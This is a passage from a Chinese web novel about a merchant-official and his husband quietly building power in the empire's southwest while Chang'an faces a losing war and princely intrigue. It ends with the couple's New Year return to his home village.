于是他彻查几次坊间被挑起的舆论,都没摸到对方的尾巴,后来还是从禁军那里寻到了蛛丝马迹。 结果好好的线索,现在人一走,就断了。 “叫人在各个城门守着,然后全城搜查,我不信他长了翅膀能飞出去。”晋王有预感,此人背后的主子必然有大图谋。 “殿下,冯风是西南出身,或许咱们也可以遣人去查一查。”欧昇和冯风相交,几次打听冯风出身,只得了出身西南,连主子是谁都不知道,不过听人口音该是没说谎。 “没有线索,咱们的人到了西南和大海捞针有什么区别?” 自然没什么区别,但他们想要在长安查一个人也不是那么容易的,毕竟长安这么多里坊,不动兵挨家挨户搜查,很容易有漏网之鱼。 不过欧昇也不是傻子,晋王这时候正在气头上,他说出来,除了挨骂也没有别的用处。 “叫人尽快去办,先搜查平康坊。” 第100章 逃了一个冯风, 尚柒在长安安插的其他人倒是都没有暴露,但眼下不晓得被长安哪股势力盯上,大家伙都默契的沉寂下去。 连带着别此云的人手都收到消息, 也都安分守己在自己窝里不动。 “还好我跑的快, 不然真要被抓了去。”冯风躲在别公子手下的一处院落, 自打东家和别公子离京, 两股留在长安的势力私下也都相互认识了。 平日虽没什么交集,但真遇上事,却还是能帮一帮的。 “他们想抓你,为的是探明你背后的人,姑爷当初在长安行事虽不能说滴水不漏, 但好在姑爷身份没暴露, 外人轻易不能将你们联系在一块。” “梅娘子说的是, 当初我替东家在长安探查消息,也特意隐瞒了身份, 眼下瞧着多亏了当初的谨慎,不然东家的身份就要暴露了。”冯风也一阵后怕, 谁能想到东家都离开这么久了, 还能叫人惦记上。 “目前你没法离开长安, 但躲在此地, 别人也发现不了, 若是有事要吩咐,可过我的手交代出去。”梅娘子与冯风共事不过几个月, 但还是认可冯风的本事,再一个公子和姑爷感情深厚,一家人不说两家话。 “也没什么特别要交代的,不过给东家每月寄去的信得走一走你的路子, 我的人暂时要避避风头。” “应该的。” “对了,我私下里遣了人手调查盯梢我的人,或许过不了多久就会到此地同我汇报情况,梅娘子得吩咐手下弟兄们一声,别自家人打了自家人。”宁垄暗查的本事冯风信得过,有了消息迟早会找到这儿来,但打架的本事就差了些。 “我会吩咐一声,想来有了此事,公子和姑爷那边多半要叫咱们多联络联络了,以防遇上事也有个去处。” “东家和公子成亲后,本就是一家人,如今又干着大事,虽上头没有吩咐,但我早就想说咱们在长安该多来往来往。” 梅娘子但笑不语,从前他们各干各的,非是姑爷和公子不和,而是独处习惯了,加上公子也没说必须要和姑爷的人联手,自然是不想多费功夫。 眼下冯风出了这一遭事,倒是提醒两方人,他们在长安不是单打独斗,有时候必要的合作能省去不少麻烦。 …… 急信送到西南的时候,尚柒和别此云已经从白鹤县回到清平县,两人将探查的情况送到山上,好叫樊泊做好出兵的准备。 只是西南还没打起来,长安却先出了岔子。 看过信,尚柒不由陷入沉思,他自然不是自大的认为天下没有聪明人看透他在长安的把戏,但事情发生这么久,他人都在西南过了大半年了才出手,未免也太后知后觉。 “有怀疑的人选吗?”别此云也收到信,知道长安有人盯上他们,面色不由的冷下来。 “长安的几股势力,往上数都是皇家的人,除非冒出来另一个狼子野心的朝臣,不然多半都指向几位皇子。” “我也是这样认为,且我怀疑,是晋王。” “眼下还能蹦跶的只有太子、齐王和晋王,太子先出局,齐王和晋王二选一,我也认为是晋王。”齐王傲慢自负,真要是发现他当初被禁足和兵马被广运帝搜查都是有人作祟,早就憋不住露破绽了。 “晋王阴狠,论聪明程度的确是几个皇子里最好的,去岁接二连三在长安发生的事合在一块看,的确容易看出端倪。”他和尚柒都信长安盯上他们的是晋王,真相多半也八九不离十,“咱们是放任晋王还是斩草除根。” “我自然想将祸患斩草除根,但难保晋王不狗急跳墙,察觉咱们的行动后拉太子和齐王下水,左右长安翻年后,多半不太平,且放任他一段时日。” —————————— 入冬。 北面的大雪下的越发大,边关的将士们夜里挤在一块相互取暖,才没叫冻死在营帐内。 这次出兵的大军中,不少是江南人,没在江北呆过,更不说北面的冬日,几乎都扛不住冻,在营地发起了高烧。 当初出兵户部粮草批的干脆,但其他军用物资却是能克扣就克扣,更不说药材这样要量大的物资,长安的种植园要供应整个长安,分到军营的药材少之又少。 为此仗还没开始打几场,大历这头就先有了非战事损兵,突厥那边也看出大历势微,去岁和今年草原都有不小的灾情,今年冬天眼瞧着雪降的也大。 牛羊能活下来的不多,想要熬过这个严冬,从大历这头谋求物资成了唯一的选择,正巧大历也发兵突厥,两方人马几乎默契的开战。 大历这头的将军没经验,对上草原的骑兵,几乎节节败退,要不是驻守边军的将军出马力挽狂澜,早被攻破了城池。 眼下正处于僵持,大历这头也吃了几个败仗,但没有丢失城池,领兵的将军便压下了这份军情,刻意不向长安那头汇报。 只是眼看着要翻年过去,再没点成绩,只怕朝廷那些大臣又要闹了,毕竟出征一日消耗的粮草就不计其数,这样拖着,别说打上一年,怕是半年国库就要撑不住了。 显然朝廷大臣也的确忧虑这次出征会变成持久战,已经有人在朝廷之上高呼停战,奈何广运帝不见棺材不掉泪,力压所有反对的声音,要这场仗继续打下去。 “太子殿下,这仗继续打下去对咱们来说不是好事,私下里还是劝一劝陛下,早日鸣金收兵才是。” 太子府上的幕僚每个都忧心忡忡,他们并非是对边境担忧,而是怕广运帝这么一闹,突然死了留个烂摊子给太子,最后收拾的还不是他们。 “我劝?父皇什么时候能被劝动,今日朝臣就不会担忧北面战事。”太子幼年还能和广运帝有几分父子亲情,但随着年纪越大,他对皇位越觊觎,而广运帝对孩子越忌惮,那点本就没多少的父子亲情早散的一干二净。 这时候太子敢反对广运帝的意见,只能叫广运帝厌弃他,说不得人一时糊涂,还要想着废掉他的太子之位。 “可战事继续拖延下去,除开损耗国库再没其他好处,陛下这次一意孤行,最后还不是要太子殿下你来收尾。” 太子不语,他当然知道真要是战败,对他来说不是好事,可眼下也没有一个两全其美的办法,既让他父皇停下战事,又不损害他的利益。 “或许叫别老大人出马?别老大人从前是陛下的伴读,能劝动陛下两分。” “不成,朝廷里谁不晓得别家是我的人,太傅出面和我出面有什么区别。”太子几乎怒视提出意见的幕僚。 “是臣失言。” “殿下,或许咱们可以考虑叫当初撺掇陛下的人劝一劝陛下。”这些奸佞别的不会,溜须拍马却是再擅长不过,既然当初能够挑起陛下对出兵的兴趣,如今肯定也能劝陛下鸣金收兵。 太子冷哼一声:“那群父皇养在身边的应声虫可不会听我的话。” “太子乃储君,他们不听话有的是办法叫他们听话。”幕僚说着做了个杀的动作。 太子沉思,他早就看父皇身边那□□佞不顺眼,奈何他们得父皇宠爱,轻易不能动,不然得罪了人私下里在父皇跟前说些坏话,指不定会影响大局。 为此太子都忍着怒火与这些人打好关系,谁料这伙人眼高于顶,储君放下身段结交都不给面子。 “你能保证他们不会因为我的威胁去父皇跟前告状吗?” “殿下放心,只要这□□佞还有看重的人,咱们就能拿捏他们的软处,从前殿下想着和平相处忍让他们多时,眼下是该叫他们晓得什么叫礼仪尊卑。” 闻言,太子自然心动:“此事或许先与太傅他们商议一番,再下定论。” “殿下此言差矣,别老大人一惯叫殿下忍耐,告知了老大人,怕会阻碍咱们行动。”显然东宫属臣之间也有明显的竞争。 别家因为家世名声一直稳稳站在东宫之首,下面的人想出头必然要越过别家,可无权无势,想要办到几乎不可能。 终究太子被说服了,不管如何,他可不想从父皇那里接手一个烂摊子。 别家暂时不知太子将要进行什么举动,而是几乎闭门不出。 “之后的朝堂肯定会因为要陛下收兵,闹的不可开交,此事记着,咱们只当旁观者谁也不要参与。”别泓在书房向家中子辈孙辈吩咐。 “只怕其他人没那么容易放过我们。”别洵松面露难色,这种大事他们即便不想表态,朝廷里其他人也会拉着他们入局。 “实在不行就称病,我了解陛下,只要他下定了决心的事,几乎不会改主意,咱们若这时候出面,必会被秋后算账。” “那是否也要叮嘱太子一声。” “太子那边我去说,你们去他不会放在心上,眼下战况未明,出面喊衰只会适得其反。” 别泓捋着胡须,等着结束这场闹剧的机会。《 》 100-110 第101章 年关上, 除开北面还打的如火如荼,其他地方倒是如往年一样热闹,西南也看重年节, 腊月里舍得花钱买肉的人家越来越多。 清平县的百姓近一年功夫, 已经大变样了, 自打尚大人过来, 粮价越发低廉不说,县里有手有脚的基本都挣了钱,过年县里的屠户忙的两不沾地,跟前都还排着长队要买肉。 “当家的,擦擦汗, 歇会咱们就得上村里去。”屠户娘子也累的双臂发酸, 但正是挣钱的时候, 今年腊月里光靠卖肉挣得钱,都比往年一年要多了。 “往日就盼着一头猪能早早卖完, 怕隔久了就臭了,如今一天两头都不够卖的, 钱是挣来了, 人却要累坏了。”屠户要干的活可不少, 他们自家是不养猪的, 毕竟住在县里, 由此只能去乡下收猪。 收来的猪还要自个杀,再运到县里买卖, 一天到晚就没有歇息的时候。 “有钱赚还不好,瞧瞧咱们今年赚的钱,在攒攒都能在县里置办一套小宅院。”县里的房子是越发紧俏了,不过往年县里人口就那么多, 县里有不少空房,这会子给黄谷县的人租了去,还剩下不少,买价倒没升太高。 “房子是要买的,还得尽快买,今年县里挣了钱的人家不在少数,咱们巷子里,都有几户人家起了新房,我瞧那二层小楼住着舒服,咱们买了房在攒两年,也把老房子推了重修。” 家里小,底下的孩子又都到了年纪,若想说亲必现要置办一套房子好叫人进门有地方住,老房子虽然磕碜,但还不至于倒塌,能等几年。 “自然是好的,只是我瞧着家里的小子去了私塾念书后,半点也没有起结亲的心思,夜里回来我问他想要样的姑娘哥儿,好叫媒婆说亲,结果人说还早,不急。” 屠户娘子说起这事就生气,如何不急?县里十五六岁的小子,哪怕没成亲也都定亲了,他们家因为孩子多,没什么家底才耽误了,这回手里有点钱,不把人生大事办了,还拖延着,岂不是叫外人笑话。 “想是私塾的先生说要他们先做学问,怕他们成亲后心思野了,不在功课上用心。” “话虽如此,但老话说成家立业成家立业,成家在前,娶了亲也不耽误他去私塾念书。” “他是不耽误了,我瞧着人姑娘哥儿该耽误了。” 屠户娘子一想也是,如今念书都不收钱,且县里招收姑娘哥儿的岗位越来越多,不少人家都能看出念书的好处。 疼姑娘哥儿的不说,必是要留人多读几年,日后也有个好去处,不疼姑娘哥儿的人家,也指望着人能读出来进工坊做事,挣几年钱交给家里,再说嫁人的事。 这样看,还指望那点彩礼钱的人家就不多了。 “你这话倒是提醒我了,眼下说亲的姑娘哥儿多是读书不成的。”往年家里能娶个认字的那是烧高香,现今年岁小的只认几个字,可说不上好亲事。 “可不是,左右大郎还小,等两年在说亲也不耽误,现在各家各户都忙着赚钱,有心操心亲事的人还真没多少。” 当家的这样说,屠户娘子也就歇了心思,总归两年也不是不能等,谁家都想说门好亲事,家里孩子在私塾表现也争气,随随便便寻门亲事不是委屈了孩子。 县里不少人家都是这样想的,以至于媒婆的生意都冷清了不少,不少原本的媒人都改行去了工坊做事,活虽然幸苦不少,但钱没少赚。 衙门里。 宋月隐盘算着今年县里的收支,前期东家和别公子投了不少钱,就说私塾如今每日都要花销不少,这是收不回来的。 县里的粮食产的倒多,但东家有意将粮食全留下来,毕竟她们有一支大军要养,粮食再没有吃不完的,加上万一明年遇上什么天灾人祸,也能救救急。 如此,能挣钱的只有县里开的几个工坊,稳赚不赔的肯定是铁器,深山里的铁矿自打稳定出铁后,县里铁器可以说供不应求。 就说地里劳作的用具,铁锄头、铁锹、镰刀等都是极好用的,原本的木头农具不好用不说,还坏的快,换成铁的,不说几十年,十几年总能用的。 还有铁锅、菜刀这样家里用的铁具,也很受欢迎,尤其是乡下,有一口大铁锅,一家子煮粥都不费功夫,几乎铁器一挂出来,就被一抢而空。 好在铁坊的产量渐渐上来了,眼下不光能供应清平县,隔壁黄谷县也能沾光,宋月隐算过,再隔些时日,铁器就能往应州各处销售。 加加减减,宋月隐的算盘珠子都要打圆了,才将今年的收支算清。 只算县里的,必然是赔了钱的,因为东家在县里还出钱修路修水库,不过加上在应州的产业,今年总体还是赚的。 “等明年拿下白鹤县,控制住西南中枢,生意会更好做一些。”尚柒看过账目,欣慰他花钱这么多,还有的赚。 “好肯定是好一些,但咱们还要尽快将棉布生意做起来,明年要是能赶在冬天制成一批棉衣出售,还能多收入不少。” 造反硬性开销是省不了的,军队如果不出兵打仗收缴,基本就是貔貅,只进不出。 “要种棉花,就要有多余的土地,比起清平县,白鹤县土地更多,也更适合种棉花。”尚柒当然知道棉布生意做好能得多少利润,但光靠他在礼县组织人种的棉布,年年织坊出产的棉布都出不了礼县多远就被抢了个一干二净。 “有了今年双季稻在先,在清平县推广棉种比肯定比白鹤县强,不过东家若是能拿下白鹤县的土地,咱们可以雇人种。” “地肯定是能拿到,只是看能不能赶上种棉花的时节罢了。”尚柒自信白鹤县的豪强都是识时务的人,“邹小哥儿在县里做事如何了?” “东家看中的人,能有差的么,这邹小哥儿可是个宝贝,做事不光勤快,点子也多,原先县里有不少人见邹小哥儿是个外来户,私下里使绊子,都叫人滴水不漏的化解不说,还把这伙人治的服服帖帖。” 要说这人多还是欺软怕硬,宋月隐管县里诸事的时候,凭借身份手腕,没一个敢小看她的,哪怕那时候县里做事的还是儿郎,但哪个敢和宋月隐对上,连县丞和县尉在宋月隐跟前都低人一头。 换成邹清上来,即便县里招来的人都是新人,没什么论资排辈的份,奈何邹清是黄谷县人,本地人自然就排斥一个外地来的。 拉帮结派哪里都不会少,只是有宋月隐在上面压着,不敢做的太过罢了。 邹清也有本事,受了欺负半点不寻宋月隐主持公道,自己就摆平了麻烦,眼下已经是县里头把手了。 “今年过年他回黄谷县吗?”说来因为邹县令过来一遭,把几个投奔尚柒的姑娘哥儿吓的不轻,一个个在县里站稳脚跟后,逢假都是在县里老实窝着,半点没提要回去的意思。 而邹县令那头倒是差人过问了两回,知道是自己姑娘哥儿不肯回去,不是尚柒不放人,也就随他们去了,看来也是晓得家里孩子翅膀硬了,轻易管不得。 “这我可不清楚,不过我猜多半是要回去的,眼下邹小哥儿已经在县里站稳脚跟了,就算是回去了邹县令不放人,咱们难道就不去黄谷县要人吗?” 而邹清也绝计不是坐以待毙的人,真被关在家里肯定也会想办法逃出来。 “邹县令还要在黄谷县当两年县令,只要他没调离黄谷县,不会轻易和我作对。” 现在黄谷县的百姓,能听尚柒的话一挥百应,邹县令虽没什么野心,但人又不是蠢货,得罪了他,只怕自个儿在黄谷县都没好日子过,不如继续装聋作哑享享清净。 “那东家呢,年节里要不要带别公子回一趟礼县?”眼瞧着翻年过不了多久就要出兵,之后东家和别公子肯定越发没时间回礼县。 前儿她还收到礼县的父老乡亲问东家什么时候回去,当初一走他们可没想到东家连着快两年没回去。 尚柒闻言盘算了一下时间,倒也够回一趟礼县见见大伙。 “我回去问问此云的意思,若他想走一趟,我便过两日就动身,清平县的诸事劳你和蔺肃多费心。” “东家哪里的话,你这都把事情安排妥当了,我和蔺肃也没什么要做的。” “我一走,你俩除夕必然休息不得,到时候叫账房那边给你们工钱翻倍。”尚柒不是什么克扣人的资本家,总归他能挣,对手下历来大方。 “就凭东家这句话,我和蔺肃这个除夕也不能休息。” 玩笑话说罢,又开始忙活正事,等待天色将暗,尚柒才披着外袍回家。 南枝早先也忙完应州一摊子事过来清平县,准备一家人在清平县过年。 “回礼县过年?”尚乌桕闻言第一个惊呼出声,但瞧人眉间喜悦,显然是同意的。 “是,我从礼县一走也一年多了,翻年后只怕没什么空闲再回去,想着年前回去瞧一瞧。” “既然想去礼县过年,那便去,去岁咱们在长安过的年,按道理今年的确该去你老家过年。”别此云没什么意见,他也老早想去礼县了,但无论是他还是尚柒,都没腾出功夫来。 “此云这话是同意了?” “自然,我们先前不是说好了,早晚都要一块回礼县一趟,眼下既然有时间,没有不去的道理。”别此云向来明白,要去什么地方能尽早去就尽早去,不然越往后越难寻到时间。 “南枝呢?想回去吗?” “当然想,咱们还没带别哥哥去老家看过呢。”尚南枝肯定也是想念礼县的,到底是她长大的地方。 “那咱们就后日出发,早去早回。”尚柒眉间带笑,总算是要把此云带回他生长的地方。 第102章 长平村。 赶在年关口, 村里家家户户都贴了春联,还挂了喜庆的红灯笼,远远看去都不像是个小村落, 反而繁华的小镇一般。 村里的农户也都窝在家里, 有亲朋好友的趁着眼下地里没活, 也走亲访友了, 如此,路过村里各户人家的门口,你就能听见有的门里寂静无声,有的门里热火朝天。 尚家的宅子是村里最好的,不少农户挣了钱, 都想修一座尚家的宅院, 不必一样大, 只要够一家子居住就是,近十年下来, 村里的房子也都断断续续换了新房,比的从前县里人家住的都好。 “今年尚家大部分做事的人都被调走了, 村里都不如往年热闹。”有农户烤着火, 说起尚家的事。 “可不是, 往年到了年关, 各地的商户都赶着时间给尚家送礼, 村门口那条路没一天清净的,村里的孩子也喜欢去那儿玩, 遇上大方的商户还给每人发块饴糖。” “去岁尚东家就没在村里过年,但商户都还照习惯送礼,今年东家多半要在清平县过年,商户肯定是把礼送去清平县了。” 东家在长安的时候, 这些西南做生意的商户哪里能把礼送去长安东家跟前,眼下人回了西南,肯定还是巴巴的凑到跟前送礼。 “也不知东家什么时候得空回来,当初人一走也没说出去了就不回来了,今年我家里还熏了腊肉,就等着给东家送去尝口鲜。” “谁家不是,鸡鸭鱼肉我媳妇都买回来,她那铁锅炒菜的手艺是咱们村一绝,想着过年的时候给东家添个菜,只是这会子还留在尚家的人都不多,东西也送不出去。” “王管事走的时候说帮咱问问东家什么时候回来,这都几个月过去了,也没传个消息,王管事办事到底不如宋管事妥帖。” “许是人家忙呢,东家一连抽调走这么多人,连各村有出息的小年轻都给拉走了,可见清平县那头正是用人的时候,王管事又是管事,肯定比下面的人要忙。” “那倒也是。” 说来说去,大家伙还是想等东家回来在见见人,别的不说,整个村子能有今天的日子,全赖尚东家提拔。 不然大家伙都还苦嗷嗷的连饭都吃不饱,哪能像今天,鸡鸭鱼肉随意吃,平日里馋肉了,也能去县里割二两回来解馋,冬日的房子再不漏风,一家子也不必挤在一处。 “好消息,好消息,尚东家今年要回村里过年,还带着新娶的夫郞嘞。”外头有人在村道上敲锣打鼓高喊,左邻右舍凡是耳朵正常的,都冒出脑袋。 “毛三郎,尚东家要回村里过年,你打哪儿听来的,莫不是诓骗咱们。” “嫂子哪里话,我毛三郎诓骗大家伙有什么好处,是宋管事送了信回来,叫我晓得了,先给村里各位提个醒,别到时候错过了。” “宋管事送信说的,那肯定假不了,东家这一走都一年多没见了,可算是要回来了。” “毛三郎,你说东家还带着新夫郞回来,信里可有说新夫郞喜欢什么,咱们好提前准备准备。” “得了吧,东家娶的夫郞家里在长安当官,背景硬的很,什么没见过,咱们就别拿些小玩意出来丢人现眼,到时候落了东家面子。” 这话说的不大好听,但也是实话,长安可是国都,有只有他们没见过的东西,长平村一个小地方,哪能有人长安没见识过的好东西。 “嫂子也别恼,东家肯定什么都不缺,到时候人回来了,照往常一样各家各户出个人上门送年礼就是,新夫郞肯和东家回来,必然也不是刁蛮的人。” 外人一听边陲小村落,都要忍不住皱眉,更不说长安过来的贵公子,可人家愿意跟东家回来,说明也不嫌弃。 毕竟东家上头的长辈都没了,尚家做主的就是尚柒,新夫郞不回来谁也不会说一句不孝。 “话说回来,这回东家带新夫郞回来,肯定要去山里祭祖的,咱们村里那几个不老实会不会趁机闹事?” 一说起不老实的,围观的农户都晓得是谁,就是尚东家同宗的人,论血缘关系那是再亲近不过,但真要是好的早沾了尚东家的光鸡犬飞天,不至于如今在村里人人嫌弃。 前几年叫东家好好收拾过,这几年也没闹过事,但保不准人见新郎君回来,要给人难堪呢。 “这事咱们要管一管,得去村长家一趟,叫村长安排各家出人,盯着这几家,免得人私下里使坏。” “正好寒冬腊月没事做,在家都要闲出个鸟了,盯人的活算我一个。”有汉子当即表示要出马,指不定东家未来几十年就回来这一回,还带着新婚夫郞,不能给人留下坏印象。 “也算我一个,那几个老货真要是拎不清,我骂架最厉害,保管叫他们没脸出门。” 说干就干,原本冷清的村落一下热闹起来,只是村里姓尚的几家倒了霉,这几日只要出门,就遇上同村的人瞧他们眼睛不是眼睛,鼻子不是鼻子。 要不是他们当缩头乌龟当惯了,早撂挑子当街骂起来。 尚柒是不晓得他一回去的消息传出来,村里闹了这样大的动静,等马车到礼县地界的时候,尚南枝和尚乌桕就忍不住要出去骑马。 “小心些,别骑太快,招了风寒。”尚柒在马车上叮嘱了一声。 “阿兄放心,我和乌桕晓得。”两人裹的跟个粽子似的,但翻身上马的动作利索的很。 “南枝乌桕大抵是在马车上憋坏了。”冬日天冷,赶路的时候马车也都凉飕飕的,好在尚家的马车大,能放下取暖的炭盆,加上尚柒担心此云的身体,什么取暖的东西都准备的有。 “你呢?有憋坏吗?”尚柒抱着人。 “自然也是憋坏了,只是我有自知之明,这时候出去骑马,夜里保管要烧起来。”别此云无奈,他也不是什么病秧子,但冬日纵马是个正常人都容易风寒,更不说他本就体弱。 “快到家里,等回家我带你去村子里走走。” “嗯,到了礼县地界,我感觉马车都没那么晃悠了。”别此云说着掀开车帘,果不其然看见官道变成了三合土路。 “礼县的路都是早年修的,原本礼县往外不大好走,商路也打不开,所以就着人重修了路。”若不是怕把路修到别的县过于打眼,尚柒肯定早年就开始在西南进行官道工程建设。 也不至于叫此云在路上吃尽苦头。 “过不了几年,西南主要的官道大抵都能用上好路,以后赶路也不至于太颠簸。”别此云也是出过几次门了,陆路走着虽然不舒服,但也能熬。 可人总归是都想舒服的,如今下不了马车上的功夫,就只能从路上面想办法,路好走了,百姓来往也更方便。 “那可是个大工程,不知要吃下多少银两。”钱他们肯定是出的起,日后真要是打下西南全境,除开生意挣的钱,单单是税收也有不少。 “只是西南算什么大工程,咱们要做的是将整个大历的官道都换成这样的好路,不过眼下也没什么厉害的机器帮衬,想要实现这个目标,没有数年功夫是不成的。” “别担心,总不会十数年过去,咱们修路还是用人力碎石。”从农耕社会一口气跨到工业社会,在没有底蕴的情况下,没有数年功夫是不成的,但只是一些小改造不必费太多时间。 “也是。” 说话间马车已经踏上去长平村的路,显然除开官道,礼县到各个村落的土路也都修的是好路,甚至沿道还能看见供人休息的木椅。 “木椅放在野外,会有人偷吗?”这个时代,再没有不要的东西,哪怕是一块好木头都多的是人偷回家里攒着,更不说这样一张木椅了。 “木椅长约八尺,真要是想偷,非得几人合力不可,光天化日动手,被人撞见必会报告与我,夜里原本大部分人都有目盲之症,连路都看不清楚如何盗窃。” 等人多吃动物肝脏治好夜盲症,日子也都渐渐好上了,也犯不上偷一个椅子得罪尚家,不过这样的长椅倒是不少人喜欢,还请各村的木匠照着打一把放在家里。 “仓廪实而知礼节,衣食足而知荣辱,自古如此。” “有好日子过,他们也怕行窃入狱。”为一把价值不高的木椅进监狱,完全得不偿失。 “你在村中可有什么敬重的长辈,同我讲讲,到时候我见着人也不好失礼。”别此云是听尚柒说过家里的亲戚都不成器,已经断了来往,但尚柒年幼怙恃双失,哪怕在聪颖,肯定也少不得村里人照拂。 “以前左邻右舍的娘子郎君都很照顾我,村里的村长也时时看护。”只是随着生意越做越大,平日见面的机会越来越少,也只有年节才能叙叙旧。 “年礼你可备好了?”他们走的匆忙,又是轻装简行,没带什么东西回来。 “备好了,你的那份我也备上了。”尚柒在礼数方面还是没出过岔子。 别此云闻言安心不少,他很期待认识尚柒从前的亲朋好友。 第103章 “村长。”尚乌桕在马上, 远远的看见村口站着的人,奋力挥手。 “是小乌桕和小南枝回来了。”陈村长已经五十来岁了,瞧着身子骨还硬朗, 只是头发胡子已经花白。 他是看着尚柒他爹长大的, 尚家出事的时候, 也是他主持叫村里人帮着照顾兄妹三人, 不然尚柒不光要想法子养家,还要抽出精力对付身边的虎豹豺狼。 “村长,大冷天的怎么在村口站着。”尚南枝下马,刚刚一路纵马,这会子面上还泛着红晕。 “早前你毛三哥在村里说你们要回来了, 左右冬日无事, 我算着时间想着在村门口接一接你们。” “万一今日我们没到, 村长你不是白吹这么久冷风了。”尚乌桕恨铁不成钢的看着村长,也不看看自己什么年纪了, 就是冬日再裹的跟个粽子一样,难道还比年轻力壮的人抗冻吗? 阿兄特意不告诉村里人他什么时候回来, 就是怕有人到村门口接。 “小乌桕这是当了大夫, 连你村长爷爷也敢教训了。”陈村长揉了揉尚乌桕的头, “怎么只是你俩到了, 你阿兄和嫂夫郞呢?” “阿兄和嫂夫郞还在马车上, 我和阿姊想大家了,先快一步回来, 就马车那慢悠悠的速度,说不得还要大半个时辰才到呢。 村长就别在村口等了,不若跟我们回家烤烤火,反正阿兄肯定是要回家的。” “乌桕说的不错, 村长还是先跟我们回家,不然冻坏了,阿兄可过意不去。” 两个小的都这么说了,陈村长也不是老顽固,被两个小的一手抱一个胳膊,往尚家走。 也是近来天冷,大家伙都缩在家里烤火,不然尚南枝和尚乌桕指不定跟上回回来一样,要被塞满一大堆东西。 大半年前才回过村子,加上家里不少哥哥姐姐都到清平县做事了,平日隔三差五也能见到,尚乌桕和尚南枝还没那么想。 不过府里的人虽然少了,但做事的娘子郎君都没偷懒,打正门进去,宅子收拾的干干净净。 只是赶在除夕的档口,府里除了几个无家可归的人,基本也都放假回家去了。 “去岁你们没回来,你们兄长央人帮着祭坟,今年你们回来,正好去你们爹娘坟前看看。”尚柒这孩子有大出息,不光会赚钱,还当了官。 陈村长出生这么久,还没听说哪个农户出身的人家能当官的,哪怕是县令的芝麻小官,也都是光宗耀祖的大事。 去岁人考中了,因为娶亲的事没赶回来,今年回来,必然是要去通知地下的爹娘一趟。 “村长放心,阿兄安排了人在清明中元重阳几个日子给爹娘烧纸,保管不会叫他们在地下缺钱花。” “就你们烧纸钱的数量,你爹娘在地下指不定也是个叫人伺候的富贵老爷了。” “可不是嘛。” 府里厨子晓得两个小主子回来,二话不少先把从早上就熬上的骨汤端来给人暖和暖和身体。 等尚柒和别此云的马车到府前的时候,尚府已经来了不少拜访的人,都是从前和尚家关系好的熟人,两个小的虽然年轻,但接待人已经有一套。 屋里的人听见外面动静,有眼尖的立刻看到尚柒和别此云,嗷了一嗓子,满屋的客人就鱼贯而出,围着尚柒和他新婚夫郞说话。 “婶娘叔叔他们什么都好,就是过于热情了些。”尚乌桕这头空闲下来,可算是长舒一口气。 “我瞧你也没叫话撂地上,还当你喜欢的很。” “阿姊什么话,我不过是不想叫婶娘叔叔以为咱们出门就和村里人生疏了,平日我哪有那么多话。” 尚南枝耸耸肩,不认同尚乌桕的狡辩。 “尚柒,瞧着一年多不见,你这模样是越发俊俏了,娶的夫郞也是个顶个的好,如今你成了家,婶娘就放心了。” “是嘞,往年我们这些做婶娘叔叔的想同你说亲,但瞧你没那意思,都暗地里着急,如今见你也成家了,我们日后也能同你爹娘有个交代。” “几位婶娘叔叔哪里话,自爹娘去世,家里若没有各位婶娘叔叔相助,还不知道日子要过成什么样呢。”尚柒说着,揽过别此云,“此云,这几位婶娘叔叔就是我在路上说的,对我照顾良多的几位。” “劳几位婶娘叔叔对尚柒照看,不然还不知我和尚柒有没有认识的机会。” “小郎君说的哪里话,都是街坊邻居,照顾一二也是合该的,也是尚柒自己有本事,去了长安娶了你这样俊俏的郎君。” “可不是,哎呀,都顾着说话,忘了还站在外头,外面冰天雪地哪有屋里暖和,快快进屋坐着说话。” 说着,尚柒和别此云就被簇拥着进门,屋里的炭盆正烧着,一进门就能感觉到满屋子的热气,外袍必然是穿不得了,不然得捂一身热汗。 等人刚坐下,厨房那头就送来了暖身子的高汤,只喝一小碗下肚,浑身都是暖洋洋的。 一下午尚府待客的厅房就没空闲过,还是瞧着天色渐晚,过来的客人才陆陆续续离开。 陈村长是最后走的。 “尚柒,村里那几个不成器的东西我都寻人盯着,你回来这些日子他们不敢乱来,放心带新夫郞到村里走走。” “劳村长记挂。”其实他的那些亲戚自从被他暗地里收拾过后,见他都跟见了猫的老鼠一样,一溜烟就夹着尾巴逃跑了。 这回回来,他没提前叫人盯着他们,就是晓得他们翻不起什么浪花,不过村长和村里人一片好心,他也不必说扫兴的话。 “什么劳烦不劳烦的,咱们村能有今天的好日子,全赖你提携,想着你好不容易回来一趟,不能叫这些人毁了不是。 明个儿村里人肯定都知道你回来了,必然是要上门送礼的,你别嫌弃,都尽数收了,也是他们一片心意,不收他们夜里该要睡不着觉了。” “好,我也想着村里人送的腊肠腊肉,长安虽也有卖,但都不及村里自己熏的好。” 陈村长闻言,捋着胡须得意道:“这个自然,别的我不敢保证,但咱们自己手艺都是祖祖辈辈传下来的,用的猪肉也都是咱们新法养的,一点腥臊味都没有,肯定比其他地方的要好。 你要是喜欢,每年我都寻人替你们多备一些,到时候送到府上,叫人给你送去。” 尚柒应下了,见着陈村长眉开眼笑的离开,叹了口气。 “看来村里人都对你充满感激之情。” “在我看来,我做的事大部分都是对我有好处的,并不是说全然为了别人。” “但客观上,他们能有今天的日子,的确是因为你的关系。” “想必在长安,也少不了因为你做生意改善生活的人。” 别此云摇头,结果一样,但性质不同,至少他只是零零散散改变了一些人的生活,尚柒是以一己之力改变了整个礼县百姓的生活,这种影响还不光出现在礼县,礼县周边的县城也或多或少吃到了一点福利。 “不说这些,该吃晚饭了,这一路过来也极为幸苦,今日早些歇息。” “嗯。” 翌日。 果然如陈村长所说,村里的百姓一波接着一波过来,上午还好,来的都是村里人,下午不知是不是县里得了消息,不少县里人也结伴赶过来。 亏得和尚家做生意的商人大多都在外县,一时半刻不晓得尚柒回了长平村,不然还有的热闹。 只是礼县这头其乐融融了,长安这个年关却是不好过,边关战报八百里加急传了回来,不出意外大历兵败,连失三城。 这个消息一送到长安,整个朝廷都炸开了锅,毕竟之前几个月虽没传回来好消息,但也没说吃过败仗,怎么突然之间,大历这边就惨败要求长安增兵。 “定是马将军瞒报了军情,眼看实在瞒不过去了,才如实给长安汇报。” “我就知道马家那个半吊子的武官哪里是能领兵出征的料,眼下可好,年关前出了这么大个岔子。” “派兵援驰,能派哪里的兵马,这次出兵本就调了部分长安的禁军,加起来也有十数万人,粮草户部也没克扣过,这么多人都叫突厥打的节节败退,派再多人过去也不过是送死。” “还是将军不成器,想想先帝在位时,几个悍将领兵几万人就把突厥打的节节败退,叫边关太平了二十多年。” 